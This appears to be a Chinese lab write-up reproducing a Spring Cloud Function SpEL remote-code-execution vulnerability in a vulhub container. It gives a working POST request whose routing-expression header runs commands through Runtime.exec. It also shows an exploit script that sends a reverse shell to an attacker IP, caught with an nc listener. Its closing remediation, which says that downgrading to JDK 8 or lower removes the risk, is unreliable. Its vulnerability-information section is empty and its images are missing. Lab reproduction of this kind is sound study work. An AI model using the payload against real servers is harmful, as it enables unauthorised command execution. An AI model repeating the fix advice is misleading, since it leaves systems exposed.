1 漏洞信息
2 环境搭建
2.1 环境概述
Linux操作系统(vulhub)2.2 搭建过程
进入到漏洞目录下
{width=“5.125in”
height=“0.15833333333333333in”}
拉取镜像
{width=“5.758333333333334in”
height=“0.2590277777777778in”}
3 漏洞复现
访问192.168.1.136:8080/fuctionRouter
并且抓包,修改请求方式为POST,并且还要添加spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("要执行的命令")
,由于无法回显,我这里执行的是创建一个文件,然后再到docker容器内部查看是否创建成功来确定是否成功执行了命令。
POST /functionRouter HTTP/1.1spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/sucess--07")
{width=“5.759722222222222in”
height=“0.96875in”}
进入到docker容器内部,docker exec -it 容器id /bin/bash,发现创建成功
{width=“5.757638888888889in”
height=“0.2125in”}
还可以使用exp进行利用,下载链接:/chaosec/EXP-POC
Spel_RCE_Bash_EXP.py http://192.168.1.136:8080 192.168.1.1
{width=“5.759722222222222in”
height=“2.217361111111111in”}
在监听中成功接受到了shell
nc64.exe -lvp
{width=“5.759722222222222in”
height=“0.9986111111111111in”}
4 修复建议
1、安装官方的补丁
2、降级到 JDK 8 或更低版本,这将消除被攻击的可能性。